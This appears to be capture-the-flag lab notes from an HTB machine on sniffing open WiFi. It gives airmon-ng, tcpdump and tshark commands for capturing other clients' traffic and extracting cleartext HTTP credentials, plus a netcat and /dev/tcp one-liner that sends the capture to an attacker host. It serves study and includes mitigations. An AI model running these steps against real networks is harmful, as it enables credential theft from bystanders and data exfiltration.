đź§  Open WiFi Traffic Sniffing

What is it?

  • Concept: WiFi is a shared radio medium — every frame from every client is broadcast into the air. On an open (unencrypted) network, those frames are cleartext, so a radio in monitor mode on the right channel can read traffic that was never addressed to it: other clients’ plaintext HTTP logins, tokens, API calls.
  • Impact: Credential disclosure / session theft with no exploit — a passive capture of someone else’s traffic.

How it works

  1. A normal (“managed”) interface only hands your OS frames addressed to your MAC and drops everyone else’s.
  2. Monitor mode disables that filtering — the radio delivers every frame it hears on the tuned channel, regardless of recipient (the WiFi equivalent of promiscuous mode).
  3. An open network applies no link-layer encryption, so captured frames are readable as-is. (On WPA2 you’d still need the PSK + the client’s 4-way handshake to decrypt.)
  4. You do not need to be associated/connected to sniff — monitor mode is independent of association. You associate a second radio only if you also want to interact with hosts on the network.

Exploitation

Prerequisites

  • A wireless interface that supports monitor mode (iw phy → lists “monitor”)
  • RF range of the target AP
  • The target network is open, OR you can decrypt it (PSK + captured handshake)

Attack Vectors

1. Find the target network + channel

nmcli device wifi list                       # SECURITY "--" = open
# or: iw dev wlan1 scan | grep -E 'SSID|freq|channel|signal'

2. Monitor mode, tuned to the target channel

sudo airmon-ng start wlan1 6                  # 6 = AP channel; iface -> wlan1mon
iw dev wlan1mon info | grep channel           # verify; fix if wrong:
sudo iw dev wlan1mon set channel 6

3. Capture in the background (survives a brittle shell)

tcpdump -i wlan1mon -w /tmp/cap.pcap -U >/tmp/td.log 2>&1 &

4. Analyse — pull cleartext HTTP creds

tshark -r /tmp/cap.pcap -Y 'http.request.method == "POST"'
#   or open in Wireshark -> right-click -> Follow -> HTTP Stream

Notes

  • Channel mismatch = empty capture. The #1 mistake: the monitor iface sits on a different channel than the AP. Set it explicitly every time.
  • Two radios = both roles at once. One radio can’t be associated (managed) and in monitor mode simultaneously. For network access and a capture, use two interfaces — e.g. wlan0 joins via nmcli for an IP while wlan1mon sniffs.
  • mac80211_hwsim radios (common in cloud/VM labs) act like real ones but only exchange frames between radios on the same channel — channel discipline matters even more.
  • Exfil a remote capture when you can’t SCP: nc -lvnp 9001 > cap.pcap on your box, then cat /tmp/cap.pcap > /dev/tcp/<LHOST>/9001 on the sniffer.
  • Different primitive from Network Printer Credential Capture (rogue server, not RF). Tools: Airmon-ng, tcpdump, (incomplete) WireShark, nmcli.

Mitigation

  • Fix: Never run plaintext protocols over open WiFi; use WPA2/WPA3-Enterprise and enforce HTTPS/VPN for client traffic. AP (“client”) isolation stops clients from seeing each other at L2.
FileCreated
HTB Machine - LayoverOctober 04, 2026

References: